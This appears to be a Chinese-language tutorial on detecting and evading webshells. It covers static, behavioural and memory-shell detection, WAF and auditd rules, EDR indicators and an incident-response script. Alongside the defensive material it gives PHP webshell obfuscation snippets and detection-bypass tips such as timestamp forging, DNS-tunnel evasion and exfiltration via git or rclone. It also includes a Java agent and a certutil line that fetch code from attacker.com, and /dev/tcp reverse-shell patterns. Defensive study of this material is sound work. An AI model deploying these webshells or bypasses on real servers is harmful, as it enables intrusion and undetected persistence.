一、WebShell 查杀的三大维度
WebShell 的查杀分为三个层次,攻击者可以逐层绕过:
┌─────────────────────────────────────────┐
│ 静态查杀(文件系统层) │
│ - 文件签名匹配 │
│ - 关键字正则 │
│ - 文件属性分析 │
├─────────────────────────────────────────┤
│ 动态查杀(运行时层) │
│ - 进程行为监控 │
│ - 网络连接分析 │
│ - 系统调用拦截 │
├─────────────────────────────────────────┤
│ 内存查杀(内存层) │
│ - 内存扫描 │
│ - 注入检测 │
│ - Hook 识别 │
└─────────────────────────────────────────┘
二、静态查杀对抗
2.1 常见 WebShell 特征
PHP WebShell 常见特征:
- eval($_POST[.*])
- assert($_GET[.*])
- system($_REQUEST[.*])
- passthru($_POST[.*])
- shell_exec($_GET[.*])
- base64_decode(.*)
- gzinflate(.*)
- str_rot13(.*)
- create_function(.*)
- preg_replace.*/e.*
- file_put_contents(.*)
ASPX WebShell 常见特征:
- System.Diagnostics.Process.Start
- WScript.Shell
- Server.CreateObject
- Scripting.FileSystemObject
- WinExec / ShellExecute
JSP WebShell 常见特征:
- Runtime.getRuntime().exec
- ProcessBuilder
- ScriptEngineManager
- Class.forName
2.2 静态查杀工具原理
# 1. clamscan - ClamAV 扫描 WebShell
clamscan -r /var/www/html/ --detect-pua=yes --scan-archive=no
# 2. find + grep - 简单关键字扫描
find /var/www/html -name "*.php" -exec grep -l "eval|assert|system" {} ;
# 3. PHP WebShell 查杀脚本
find /var/www/html -type f -newer /var/www/html/index.php 2>/dev/null
# 查找最近修改的文件
# 4. 对比文件时间戳
# 如果有 git,可以用 git status / git diff 查看变化
# 如果没有,可以用 inotifywait 监控
inotifywait -m -r /var/www/html --format '%T %e %w %f' -e create,modify,move,delete
# 5. 检查可疑文件
# 文件权限异常: 777 的 PHP 文件
find /var/www/html -name "*.php" -perm 777
# 隐藏文件 / 以点开头
find /var/www/html -name ".*" -type f
# 伪装文件: .php.jpg / .jpg.php
find /var/www/html -name "*.*.*"
2.3 静态免杀绕过
<?php
// 方式 1: 拆分字符串
$a = 'sys';
$b = 'tem';
$func = $a . $b;
$func('whoami');
// 方式 2: 数组键名动态函数
$_GET['a'] = 'system';
$_GET['b'] = 'whoami';
$_GET['a']($_GET['b']); // 绕过关键字检测
// 方式 3: 双写绕过 preg_replace /e
preg_replace('/a/ie', 'system("whoami")', 'aaa');
// 匹配的 'a' 被替换为 'system("whoami")'
// 但这行代码本身不含 eval/assert/system 关键字组合
// 方式 4: 变量覆盖
$_ = 'assert';
$_($_POST['cmd']);
// 方式 5: 无文件 Webshell(PHP 版本)
// 写入 /tmp/shell.php, 然后用 auto_prepend_file 自动加载
// .user.ini 或 .htaccess 配置:
// auto_prepend_file=/tmp/shell.php
// 这样 shell.php 不需要放在 web 目录
// 方式 6: base64 + 拆包
$b64 = substr($payload, 0, 20) . '...' . substr($payload, -20);
// 或者从多个位置拼接
// 方式 7: 使用未禁用的函数组合
// 如果 system/exec 被禁用,尝试:
pcntl_exec('/bin/sh', ['-c', 'whoami']); // pcntl_exec 可能没被禁用
// 或用 PHP 扩展调用外部程序
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system('whoami');
?>
三、动态查杀对抗
3.1 基于行为的检测
# 检测命令执行行为
# 1. 监控 Web 进程的子进程
# ps --ppid <web_server_pid> -o pid,args
ps --ppid 12345 -o pid,ppid,args # 查看 web 进程的子进程
# 2. 监控 /proc 中的进程树
cat /proc/12345/status
cat /proc/12345/cmdline
# 3. inotify 监控关键目录
inotifywait -m -r /var/www/html /tmp -e create,modify,delete --format '%w%f %e' | while read event; do
# 告警: ${event}
done
# 4. strace 跟踪系统调用(临时调试用)
strace -p 12345 -e trace=execve,open,connect
# 5. auditd 安全审计
auditctl -w /var/www/html -p wra -k webroot_change
auditctl -a always,exit -F arch=b64 -S execve -k command_exec
# 6. 网络连接监控
netstat -tlnp | grep :4444 # 反弹 shell 端口
ss -tnp # 更快
lsof -i -n -P # 详细
3.2 动态查杀工具
# OSSEC - 主机入侵检测
# https://www.ossec.net/
# Wazuh - 开源安全平台
# https://wazuh.com/
# Auditd 规则示例
cat > /etc/audit/rules.d/webshell.rules << EOF
# 监控 Web 进程执行外部程序
-a always,exit -F arch=b64 -S execve -F uid=33 -k www_exec
-a always,exit -F arch=b32 -S execve -F uid=33 -k www_exec
# 监控 WebRoot 文件变更
-w /var/www/html -p wra -k www_modify
# 监控 /tmp 可执行文件
-w /tmp -p x -k tmp_exec
# 监控 Nginx/Apache 错误日志异常
-w /var/log/nginx/error.log -p r -k nginx_error
EOF
# 加载规则
augenrules --load
auditctl -s
# ELK Stack 做日志分析
# Filebeat -> Logstash -> Elasticsearch -> Kibana
# 监控 access.log 中异常参数:
# cmd= /c /exec /w /eval /assert /base64
# 监控 access.log 中响应码 200 + 敏感路径
3.3 动态免杀技巧
<?php
// 技巧 1: 降低命令执行频率
// 正常 WebShell 每次请求都执行命令
// 免杀: 用临时文件缓存执行结果,降低系统调用次数
// 技巧 2: 使用非标准工具链
// 避免使用 cmd.exe / bash / wget / curl
// 使用 powershell (Windows) / python3 (Linux)
// 避免反弹 4444/5555 等经典端口
// 技巧 3: 使用合法工具
// git pull 拉取代码
// ssh 隧道
// nc 也可能被监控
// 技巧 4: 定期修改自己
// 每天修改文件时间戳,避免被 /usr/bin/find -newer 查到
touch -d "2023-01-01" /var/www/html/shell.php
// 技巧 5: 进程伪装
// 不创建子进程,直接在 Web 进程内操作
// 避免: system(), exec(), passthru()
// 使用: file_get_contents(), stream_socket_client()
// 技巧 6: 内存执行不落盘
// base64 解码后 eval,不写入临时文件
$code = base64_decode($_POST['c']);
eval($code);
?>
<%
// ASPX 进程伪装
// 使用 reflection + cached type,避免频繁创建 Process
// 或者使用 HttpWebRequest 发起内部请求调用其他接口
%>
四、流量特征与分析
4.1 WebShell HTTP 流量特征
常见请求特征:
1. 请求方法
- GET 参数携带命令: ?cmd=whoami, ?c=phpinfo()
- POST body 携带代码: cmd=assert($_POST[x])
- 参数名: cmd/c/x/pwd/key/action
2. 响应特征
- Content-Type: text/plain / text/html
- 包含系统命令输出: uid=, root:, /home/, drwxr-xr-x
- 响应体大小固定(某些 Shell 返回执行结果)
3. 编码特征
- base64: eyJ0eXBl...
- gzinflate: 使用 gzuncompress
- str_rot13: rot13 编码
- chr() 数组
4. 请求频率
- 短时间大量请求到同一文件
- POST 请求突然增加(正常 GET 为主)
4.2 WAF 规则配置
# Nginx WAF 基础规则
# 检测可疑请求参数
if ($args ~* "(eval|assert|system|exec|passthru|shell_exec)") {
return 403;
}
if ($args ~* "(cmd|c|exec|whoami|phpinfo|base64_decode)") {
return 403;
}
# 检测 .htaccess 访问
if ($request_uri ~* "(.htaccess|.user.ini|web.config)") {
return 403;
}
# 检测反序列化特征
if ($args ~* "O:[0-9]+:"[^"]+"") { // PHP 序列化
return 403;
}
# 检测 SQL 注入 + WebShell 特征组合
if ($args ~* "(union.*select|and.*1=1|../|..\)") {
return 403;
}
# 注意: 不要只靠关键字过滤,攻击者能轻易绕过
# 应该配合行为检测 + 日志分析
五、内存马(Memory Shell)检测
5.1 什么是内存马
内存马是一种不落地、仅在内存中执行的 WebShell。它通过动态修改 Web 服务进程的内存来注入恶意代码,不产生任何磁盘文件。
普通 WebShell: 攻击者上传文件到磁盘 → 文件被查杀
内存马: 攻击者直接修改运行中的 Web 进程内存 → 无文件落地
分类:
- ASP.NET 内存马: 注入 IIS 进程内存
- Java 内存马: 注入 Tomcat/Jetty 进程内存
- PHP 内存马: 注入 PHP-FPM 进程内存
- Nginx 内存马: LoadModule 动态加载
5.2 Java Agent 内存马
// 内存马原理: 动态 Instrumentation 注入
// 步骤 1: 找到 Java 进程 PID
jps -l
// 步骤 2: 用 attach 加载 agent
// agent.jar 是一个 premain / agentmain 类
// 通过 VirtualMachine.attach() 动态加载
// Agent 代码示例
import java.lang.instrument.*;
public class MemoryShellAgent {
public static void agentmain(String args, Instrumentation inst) {
// 1. 从攻击者 URL 下载 WebShell 字节码
byte[] bytes = download(args); // args = http://attacker.com/Exploit.class
// 2. 重新定义 Tomcat 的 HttpServlet 类
// 每次 HTTP 请求都会触发我们的代码
ClassDefinition cd = new ClassDefinition(
cls, // HttpServletRequest 或 DispatcherServlet
bytes // 新的字节码
);
inst.redefineClasses(cd);
}
}
5.3 .NET 内存马
ASP.NET 内存马注入方式:
1. CLR Profiler: 注入到所有 .NET 进程
2. appcmd set config: 修改 IIS 配置加载自定义模块
3. AppDomain.CurrentDomain.AssemblyResolve: 动态加载程序集
4. powershell + reflection: 运行时注入
# 检测 .NET 内存马
# 查看已加载的程序集
powershell -Command "[AppDomain]::CurrentDomain.GetAssemblies()" | findstr /i "memory"
# 查看 IIS 进程的模块
listdlls -i w3wp.exe
# 检查 CLR Profiler
reg query "HKLMSOFTWAREMicrosoft.NETFramework2.0.50727" /v COR_ENABLE_PROFILING
5.4 PHP-FPM 内存马
<?php
// PHP-FPM 内存马注入原理
// 通过 dl() 动态加载扩展 (PHP 扩展是 .so/.dll 文件)
// 方式 1: 临时扩展加载(PHP 7+)
dl('evil.so'); // 动态加载扩展
// 但 dl() 默认被禁用
// 方式 2: 通过 /tmp 写入 .so + dl()
file_put_contents('/tmp/evil.so', $evil_so_bytes);
dl('/tmp/evil.so');
// 执行后删除 .so 文件
unlink('/tmp/evil.so');
// 方式 3: auto_prepend_file 注入
// 修改 PHP 配置文件
ini_set('auto_prepend_file', '/path/to/shell.php');
// 但 shell.php 本身就是落盘的
?>
5.5 内存马检测方法
# 1. 进程内存扫描
# Volatility / LiME 内存取证
# 抓取内存:
modprobe lime
dd if=/dev/mem of=/tmp/memory.img bs=4096
# Volatility 分析
vol -f memory.img --profile=LinuxUbuntu pslist
vol -f memory.img --profile=LinuxUbuntu linux_bash # 查看 bash 历史
vol -f memory.img --profile=LinuxUbuntu linux_netstat # 网络连接
vol -f memory.img --profile=LinuxUbuntu linux_strings # 关键字搜索
# 2. strace / ltrace
strace -p <web_pid> -e trace=execve -c
ltrace -p <web_pid> -e "system+exec*"
# 3. 检查进程内存中是否有可疑字符串
cat /proc/<pid>/maps
grep -a "system|exec|eval|assert" /proc/<pid>/mem | strings
# 4. 检查 /tmp /dev/shm /var/tmp
ls -la /tmp /dev/shm /var/tmp
find /tmp -name "*.so" -mtime -1
# 5. 检查 LD_PRELOAD
cat /proc/<pid>/environ | tr '' '
' | grep LD_PRELOAD
六、EDR 与 SOC 告警
6.1 EDR 检测规则
典型 EDR 检测点:
1. 进程创建:
- cmd.exe /c /e: /k /r
- powershell.exe -Enc (Base64 编码)
- bash -c "bash -i >& /dev/tcp/"
- sh -i &> /dev/tcp/
2. 网络行为:
- 短时间大量出站 TCP 连接
- 连接到 4444/5555/8888 等经典端口
- Web 进程主动发起网络连接(正常不应该)
- DNS 查询 base64 编码的子域名(DNS 隧道)
3. 文件行为:
- Web 目录下新增 .php/.jsp/.aspx 文件
- 上传目录可执行文件
- 临时目录 .so/.dll 文件
4. 注册表变更 (Windows):
- HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun
- HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun
- HKLMSYSTEMCurrentControlSetServices
5. WMI 事件订阅 (Windows 持久化)
- EventFilter + EventConsumer 组合
6.2 告警绕过技巧
# 1. 使用 powershell 的 -EncodedCommand 绕过
# 但现在 EDR 会解码检测
# 改为分块传输
# 2. 不使用经典端口
# 反弹到 443 (HTTPS) / 80 (HTTP) / 53 (DNS)
# 或者到公共服务端口
# 3. 使用合法工具
# git push (将数据传到 GitHub)
# rclone (同步到云存储)
# scp / sftp / rsync
# 4. 使用 WebSocket / gRPC / HTTP2 协议
# 更难被简单的 WAF 检测
# 5. DNS 隧道的反检测
# 不要用 base64,用更难检测的编码
# 降低 DNS 查询频率
# 使用 TXT 记录传输大负载
# 6. 内存加载避免磁盘痕迹
# PowerShell IEX (Invoke-Expression)
# CertUtil -urlcache -split -f http://attacker.com/shell.txt
# Bitsadmin / BITSTransfer
# 这些工具正常用途不是加载代码,降低告警
七、应急响应流程
7.1 WebShell 应急清单
发现 WebShell 后的处理步骤:
Step 1: 隔离主机(但不要直接重启,保留内存取证价值)
- 断开网络连接(防火墙层面)
- 不要 kill 进程(进程内存可能有价值)
- 保留所有日志和内存
Step 2: 采集证据
- 全内存镜像 (LiME / WinPmem)
- 磁盘镜像 (dd / FTK Imager)
- 进程列表、网络连接、打开文件句柄
- 全量文件系统快照(时间线分析)
- 服务器日志 (access.log, error.log, auth.log, 操作系统日志)
Step 3: 分析根源
- 确定首个入侵入口(SQL 注入 / 文件上传 / 零日漏洞)
- 确认所有被修改的文件
- 提取攻击者操作时间线
- 检查是否有横向移动迹象
Step 4: 清除恶意代码
- 删除所有 WebShell 文件
- 恢复被篡改的配置文件 (web.config / .htaccess / php.ini)
- 清除计划任务 / 服务 / 启动项
- 重置所有密码(包括数据库、SSH、应用)
Step 5: 加固与复盘
- 修复漏洞(补丁、WAF、配置)
- 权限最小化
- 添加监控规则(EDR / WAF / SOC)
- 形成应急报告,更新知识库
7.2 取证脚本(Linux)
#!/bin/bash
# incident-response.sh - Linux Web 服务器应急响应脚本
OUTDIR="./ir-$(date +%Y%m%d-%H%M%S)"
mkdir -p $OUTDIR
echo "[*] 1. 系统信息"
hostname > $OUTDIR/info.txt
uname -a >> $OUTDIR/info.txt
date >> $OUTDIR/info.txt
uptime >> $OUTDIR/info.txt
who >> $OUTDIR/info.txt
echo "[*] 2. 进程和网络"
ps auxf > $OUTDIR/processes.txt
netstat -tlnp > $OUTDIR/ports.txt
ss -tlnp >> $OUTDIR/ports.txt
lsof -nP -i -l > $OUTDIR/conns.txt
echo "[*] 3. Web 目录变化"
WEBROOT="/var/www/html"
find $WEBROOT -type f -mtime -7 > $OUTDIR/recent_files.txt 2>/dev/null
find $WEBROOT -type f -perm 777 > $OUTDIR/world_writable.txt 2>/dev/null
find $WEBROOT -name ".*" -type f > $OUTDIR/hidden_files.txt 2>/dev/null
echo "[*] 4. 可疑文件扫描"
grep -r "eval|assert|shell_exec|system(" $WEBROOT --include="*.php" -l > $OUTDIR/webshell_signatures.txt 2>/dev/null
grep -r "base64_decode|gzinflate|preg_replace.*/e" $WEBROOT --include="*.php" -l >> $OUTDIR/webshell_signatures.txt 2>/dev/null
echo "[*] 5. 计划任务"
crontab -l > $OUTDIR/crontab.txt
ls -la /etc/cron.d/ > $OUTDIR/cron_d.txt
cat /etc/crontab >> $OUTDIR/cron_d.txt
echo "[*] 6. SSH 配置"
cat /root/.ssh/authorized_keys > $OUTDIR/root_auth_keys.txt 2>/dev/null
cat /home/*/.ssh/authorized_keys >> $OUTDIR/user_auth_keys.txt 2>/dev/null
cat /etc/ssh/sshd_config > $OUTDIR/sshd_config.txt 2>/dev/null
echo "[*] 7. 启动脚本"
ls -la /etc/rc.local /etc/init.d/ /etc/systemd/system/ > $OUTDIR/init_scripts.txt 2>/dev/null
echo "[*] 8. Web 日志尾部"
tail -1000 /var/log/apache2/access.log > $OUTDIR/apache_access.log 2>/dev/null
tail -1000 /var/log/nginx/access.log > $OUTDIR/nginx_access.log 2>/dev/null
tail -1000 /var/log/apache2/error.log > $OUTDIR/apache_error.log 2>/dev/null
echo "[✓] 证据采集完成: $OUTDIR"
echo "[!] 建议: 立即断开网络,备份整个磁盘和内存后再分析"
八、总结
WebShell 对抗的核心认知:
- 没有 100% 有效的查杀:攻击者永远领先一步,尤其是无文件攻击
- 分层防御:静态 + 动态 + 内存 + 网络,每层拦截不同类型的攻击
- 重视行为而非特征:特征匹配会被绕过,行为检测更可靠
- 内存取证是黄金标准:无文件攻击只有内存中能抓到痕迹
- 应急响应速度:越快隔离、越快取证,越能完整还原攻击链
攻击者的核心思路:
- 避开静态特征:拆分、编码、混淆
- 避开动态行为:降低频率、伪装合法流量
- 避开内存查杀:不落盘、用完即删、内存残留最小化
防御者的核心思路:
- 分层监控:从文件系统到网络全链路覆盖
- 行为基线:建立正常行为模型,异常即告警
- 快速响应:自动化处置流程,减少攻击者驻留时间